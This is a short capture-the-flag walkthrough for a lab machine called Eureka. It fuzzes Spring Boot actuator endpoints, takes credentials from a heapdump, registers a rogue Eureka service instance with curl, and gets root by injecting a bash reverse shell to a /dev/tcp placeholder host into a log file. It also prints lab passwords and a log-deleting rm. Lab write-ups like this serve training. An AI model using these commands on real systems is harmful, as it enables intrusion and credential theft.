Eureka
Eureka
Recon
Port scanning shows 3 open tcp ports, 22, 80 and 8761.
10.10.11.66 redirects to furni.htb, added to /etc/hosts
As port 8761, I googled the port and it is related to springboot
Used seclists springboot wordlist to fuzz furni.htb
ffuf -w /opt/wordlists/SecLists/Discovery/Web-Content/spring-boot.txt -u
http://furni.htb/FUZZ shows a lot of exposed files in /actuator/* directory.
Downloaded http://furni.htb/actuator/heapdump
Initial Foothold
Using strings and grep we got password of user oscar
Priviledge Escalation 1
Now you have access to Eureka Admin http://localhost:8761
Start netcat listner to receive connection nc -lvnp 8081
Register a malicious fake service
Register a "new" instance like (Change YOURIP to your tun0 ip)
curl -X POST
http://EurekaSrvr:0scarPWDisTheB3st@127.0.0.1:8761/eureka/apps/USER-
MANAGEMENT-SERVICE -H 'Content-Type: application/json' -d '{
"instance": {
"instanceId": "USER-MANAGEMENT-SERVICE",
"hostName": "YOURIP",
"app": "USER-MANAGEMENT-SERVICE",
"ipAddr": "YOURIP",
"vipAddress": "USER-MANAGEMENT-SERVICE",
"secureVipAddress": "USER-MANAGEMENT-SERVICE",
"status": "UP",
"port": { "$": 8081, "@enabled": "true" },
"dataCenterInfo": {
"@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
"name": "MyOwn"
}
}
}'
ssh miranda-wise@10.10.11.66
pass : IL!veT0Be&BeT0L0ve
cat user.txt
nc -nlvp 9999
rm -f /var/www/web/user-management-service/log/application.log
echo 'HTTP Status: x[$(/bin/bash -i >& /dev/tcp/<YOUR-IP>/9999 0>&1)]' >
/var/www/web/user-management-service/log/application.log
wait for two minutes, you will get root shell in your listener
Now just cat /root/root.txt in netcat shell